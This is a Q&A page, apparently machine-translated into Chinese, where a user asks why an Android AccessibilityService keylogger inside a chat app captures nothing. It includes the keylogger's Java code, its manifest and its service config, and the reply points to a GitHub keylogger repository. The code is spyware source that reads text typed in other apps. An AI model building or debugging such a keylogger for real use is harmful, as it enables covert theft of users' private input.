Android应用程序上的AccessibilityService问题

问题描述 投票:1回答:1

我正在研究Android应用程序(出于学术目的),并且作为应用程序的一部分,我希望集成Keylogger。按照此答案Android Key logger,我尝试使用AccessibilityService实施它。我的类的代码称为Keylogger.java,如下:

import android.accessibilityservice.AccessibilityService;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;

public class Keylogger extends AccessibilityService {


@Override
public void onAccessibilityEvent(AccessibilityEvent event) {


    int tipo = event.getEventType();
    switch(tipo) {

        case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: {
            String data = event.getText().toString();
            System.out.println("data: " + data);
            break;
        }
        case AccessibilityEvent.TYPE_VIEW_FOCUSED: {
            String data = event.getText().toString();
            System.out.println("data: " + data);
            break;
        }
        case AccessibilityEvent.TYPE_VIEW_CLICKED: {
            String data = event.getText().toString();
            System.out.println("data: " + data);
            break;
        }
        default:
            break;
    }

}

@Override
public void onInterrupt() {

}


@Override
public void onServiceConnected() {
    Log.d("Keylogger", "Starting service");
}

}

清单文件看起来像这样:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.example.mychat">

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET" ></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE" />

<application
    android:allowBackup="true"
    android:icon="@mipmap/ic_launcher"
    android:label="@string/app_name"
    android:roundIcon="@mipmap/ic_launcher_round"
    android:supportsRtl="true"
    android:theme="@style/AppTheme">
    <activity android:name=".MainActivity">
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>

    <activity android:name=".ChatBoxActivity">
        <intent-filter>
            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>

    <service android:name=".Keylogger"
        android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
        <intent-filter>
            <action android:name="android.accessibilityservice.AccessibilityService" />
        </intent-filter>
        <meta-data
            android:name="android.accessibilityservice"
            android:resource="@xml/accessibility_service_config" />
    </service>

</application>

最后是服务的配置文件:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:packageNames=""
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFlags="flagDefault"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="100"
android:canRetrieveWindowContent="true"
android:canRequestFilterKeyEvents="true"
android:settingsActivity="" />

当我在设备上安装该应用程序后,它就可以正常工作(也就是说,我没有出现任何错误),并且可以通过设置>>辅助功能手动激活该服务。但是接下来什么也不会发生。我尝试了所有操作(启动其他应用程序并键入了一些文本),但是放置在每种情况下的打印件都不会显示。该应用程序可以执行多项操作,但据我了解,该服务应会自动运行。我缺少什么,如何正确处理?

先谢谢您。

android android-studio accessibilityservice keylogger
1个回答
0
投票

https://github.com/bshu2/Android-Keylogger

[这是我之前使用过的android辅助功能键盘记录器,效果很好我想您可以将您的应用程序与该键盘记录程序进行比较,您可能会发现错误

© www.soinside.com 2019 - 2024. All rights reserved.